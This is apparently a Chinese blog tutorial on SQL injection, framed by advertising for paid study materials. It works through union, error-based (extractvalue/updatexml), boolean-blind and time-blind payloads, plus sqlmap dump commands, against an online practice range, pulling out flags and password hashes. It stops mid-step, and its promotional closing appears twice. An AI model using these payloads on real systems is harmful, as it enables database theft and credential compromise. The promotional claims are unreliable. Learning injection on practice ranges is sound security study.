先自我介绍一下,小编浙江大学毕业,去过华为、字节跳动等大厂,目前阿里P7
深知大多数程序员,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年最新网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新
如果你需要这些资料,可以添加V获取:vip204888 (备注网络安全)
正文
| ’ or ‘1’ = ‘1’ ; - - | ’ ) or ‘1’ = ‘1’ ; - - | 永真,返回所有行 |
| ’ and ‘1’ = ‘2’ ; - - + | ’ ) and ‘1’ = ‘2’ ; - - + | 永假,返回空 |
| and 1 = 2 # | ) and 1 = 2 # | 永假,返回空 |
Union回显
理论基础
【HTTP头部详解】
- User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等。
- Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据。
- X-Forwarded-For:它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。
- Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的。
- Host:访问的WEB服务器的域名/IP 地址和端口号。
基本上都是服务器需要保存以上信息时,但没有过滤就直接存入数据库中就可能会导致HTTP头注入。
【Union联合查询】
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
注意:
- UNION 内部的 SELECT 语句必须拥有相同数量的列。
- 列也必须拥有相似的数据类型。
- 同时,每条 SELECT 语句中的列的顺序必须相同。
SQL UNION 语法
SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2
注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。
【例子】下面的例子中使用的原始表:
攻击过程
【靶机环境】墨者学院在线靶场
【注入点测试】
设置网页代理,进入墨者的任性网页,打开BurpSuite抓包,右键发送给repeater:自己填入X-Forwarded-For,然后判断是否可注入:
【判断字段数】
接着使用order by
判断后台SQL查询语句的字段(表)的数量,最后发现是4:
【查询出表名】
然后通过union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())
可知表名为comment,flag,goods,user:
【查询出列名】
接着通过union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='flag')
可知列名为id,flag:
【查询出数据】
最后通过union select 1,2,3,(select group_concat(flag) from flag)
可得flag的数值bd631cfd729bdbe4336455f659c0d2d5:
返回初始页面,填入到flag处获取最终key:
报错盲注
理论基础
报错注入:extractvalue、updatexml报错原理
MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml
名称 | 描述 |
---|---|
ExtractValue() | 使用XPath表示法从XML字符串中提取值 |
updatexml() | 返回替换的XML片段 |
通过这两个函数可以完成报错注入。
【extractvalue函数】
ExtractValue(xml_frag, xpath_expr)
ExtractValue()接受两个字符串参数:
- 第一个参数可以传入目标xml文档;
- 第二个参数是用Xpath路径法表示的查找路径。
例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b')
; 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容。
我们可以利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
详细解释
extractvalue() :对XML文档进行查询的函数。
其实就是相当于我们熟悉的HTML文件中用 <div><p><a>
标签查找元素一样。
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…
这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
【例1】正常查询
select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))
第二个参数的位置格式为 /xxx/xx/xx/xx ,即使查询不到也不会报错。
使用concat()拼接 ‘ / ‘ 效果相同:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘/’,(select database()))))
这里在’anything’
中查询不到 位置是 /database()
的内容,但也没有语法错误,不会报错,下面故意写入语法错误:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))
可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次最多查看32位。
这里查询前5位示意:
select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘#’,substring(hex((select database())),1,5))))
【updatexml函数】
UpdateXML(xml_target, xpath_expr, new_xml)
- xml_target:: 需要操作的xml片段
- xpath_expr: 需要更新的xml路径(Xpath格式)
- new_xml: 更新后的内容
此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。
如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。使用方式如下:
mysql> SELECT
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,
-> UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,
-> UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5
-> \G
\*\*\*\*\*\*\*\*\*\*\*结果\*\*\*\*\*\*\*\*\*\*\*\*\*\*
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>
这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容:
攻击过程
【靶场环境】
墨者学院在线靶场
【注入点测试】
- 判断是否存在注入点
- 尝试注入Order by语句,确定为SQL盲注:
【解释】此处使用
%23
是注释字符“#
”的URL转码!在浏览器URL中不能直接输入“#
”这样的特殊字符!!若使用BurpSuite构造Payload则可以直接使用“#
”,因为BP会自动进行转码!同时我们还可以使用注释“--+
”来替换“#
”,其中“+
”是空格的意思,可以输入“-- 任意英文字符
”验证。
来看看用“空格+任意字符”替代加号形成注释:
【SQL手工盲注】
言归正传,既然知道是SQL盲注,我们就需要用extractvalue函数来构造报错回显。
- 尝试爆出当前用户名称:
' and extractvalue(1,concat(0x7e,(select user())))--+
- 爆出当前数据库名称:
' and extractvalue(1,concat(0x7e,(select database()))) %23
- 爆出当前数据库中第一个表(加了
limit 0,1
)的名称:' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1)))--+
- 爆出当前表的字段的名称:
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member')))--+
- 爆出用户名name字段值:
' and extractvalue(1,concat(0x7e,(select name from member limit 1,1)))--+
- 爆出用户密码password字段值:
' and extractvalue(1,concat(0x7e,(select password from member limit 1,1)))--+
- 爆到这里有个坑点,由于密码是32位的,且extractvalue()能查询字符串的最大长度为32位。然而此处“
~
”符号占用了1位,所以显示出来的密码只有31位。果然直接拿这个密码去MD5解密,直接解释失败:
- 根据题目提示,要用到substr()函数,所以直接把被吞的最后一位单独截出来:
' and extractvalue(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1)))--+
- 将得到的最后一位密码与之前31位密码拼接,进入MD5解密:
- 返回网站登录页进行登录,登录成功,拿到Key,攻击结束:
布尔盲注
理论基础
布尔盲注参考博客:https://www.jb51.net/article/93445.htm
攻击过程
【靶场环境】
【 注入点测试】
- 测试PayLoad:http://219.153.49.228:48862/new_list.php?
id=1'
- 测试PayLoad:http://219.153.49.228:48862/new_list.php?
id=1' and 1=1
- 测试PayLoad:http://219.153.49.228:48862/new_list.php?
id=1 and 1=1
从上面可以看到,输入的语句如果符合SQL语法要求,页面就会显示内容(同时显示的内容都是一样的),否则不显示任何内容。这种情况下页面上的输出对于我们来说是完全没有用的,包括SQL执行出错的信息都不会在页面上显示。此时想通过执行SQL语句然后在页面上显示SQL执行之后返回的信息完全是不可能的。这就是一个典型的SQL布尔盲注,而且可以看出是数字型的SQL注入。
【手工盲注测试】
- 尝试使用extractvalue()函数回显报错:
http://219.153.49.228:48862/new_list.php?id=1 and extractvalue(1,concat(0x7e,(select 20user())))
- 使用length()函数猜测数据库名称的长度:
(1) http://219.153.49.228:48862/new_list.php?id=1 and length(database())>9
(2) http://219.153.49.228:48862/new_list.php?id=1 and length(database())>10
- 使用substr()函数逐一猜解数据库名称各位字母:
(1)http://219.153.49.228:48862/new_list.php?id=1 and ascii(substr((select database()),1,1))>97
(2)http://219.153.49.228:48862/new_list.php?id=1 and ascii(substr((select database()),1,1))>120
(3)http://219.153.49.228:48862/new_list.php?id=1 and ascii(substr((select database()),1,1))=115
说明数据库名的第一个字母的ASCII码值为115(字母’s
’)。后面9位字母依次类推,最后确定数据库名字为stormgroup
。 - 爆出数据库stormgroup中的表名(得到两个表member和notice):
ascii(substr((select table_name from information_schema.tables where table_schema='stormgroup' limit 1,1),1,1))
- 爆出表中列名(得到menber表中列名name,password,status):
ascii(substr((select column_name from information_schema.columns where table_name='获取到的表名' and table_schema='获取到的数据库名' limit 0,1),1,1))
- 爆出某列的具体数据:
and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))
【SQLMap】
以上手工注入太麻烦了,可以使用SQLMap自动化工具进行注入。
- 跑出数据库库名,获取到的数据库名是stormgroup
sqlmap -u http://219.153.49.228:41361/new_list.php?id=1 –dbs
- 跑表名,获取到的表是member和notice
sqlmap -u http://219.153.49.228:41361/new_list.php?id=1 -d stormgroup –tables
- 直接跑出数据表member的内容
sqlmap -u http://219.153.49.228:41361/new_list.php?id=1 -d stormgroup -t member --dump
- 进行MD5解密,并拿到密码成功登录系统,获得Key:
时间盲注
理论基础
【时间盲注】
- 因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注。
- 意思就是说,根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在即是时间盲注。
- 说白了就是让页面请求根据我们输入的延时时间来延时响应。
【函数解释】
- database(): 获取数据库名称;
- substr():截取字符串函数,语法——substr(字符串,起始位置,截取长度);
- ascii():返回字符串str的最左面字符的ASCII代码值;
- if(语句1,语句2,语句3) :如果语句1正确执行语句2,否则执行语句3。
攻击过程
【靶场环境】墨者学院在线靶场
【注入点测试】
依次测试以下PayLoad:
(1)http://219.153.49.228:44660/flag.php?type=1' and sleep(5) --+
(2)http://219.153.49.228:44660/flag.php?type=1 and sleep(5) --+
(3)http://219.153.49.228:44660/flag.php?type=1 and sleep(5) #
(4)http://219.153.49.228:44660/flag.php?type=1 and if(1=0,1,sleep(5)) --
经过测试发现,除了(1)不会延迟5秒后显示页面,(2)(3)(4)均会延迟5秒后显示页面,故可判断存在时间盲注!!
【手工盲注测试】
1、猜解数据库名称的长度:
http://ip/flag.php?type=1 and if(length(database())=12,sleep(5),1) --+
发现当length=12时发生时间注入:
2、猜解数据库名称:
http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+
逐一字母进行猜解,发现第一位为"P"(ASCII码为112),由此法最终获得数据库名称为“pentesterlab”:
3、猜解表的长度:
## 学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/bdd2c08a12003b634bcf3aaff78d9f11.png)
**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**
**需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)**
![img](https://img-blog.csdnimg.cn/img_convert/68dcf9e4795095ccd41df51cff29da91.png)
**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**
)3、**猜解表的长度:**
学习路线:
这个方向初期比较容易入门一些,掌握一些基本技术,拿起各种现成的工具就可以开黑了。不过,要想从脚本小子变成黑客大神,这个方向越往后,需要学习和掌握的东西就会越来越多以下是网络渗透需要学习的内容:
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
需要这份系统化的资料的朋友,可以添加V获取:vip204888 (备注网络安全)
[外链图片转存中…(img-yWpglbvR-1713374407973)]
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!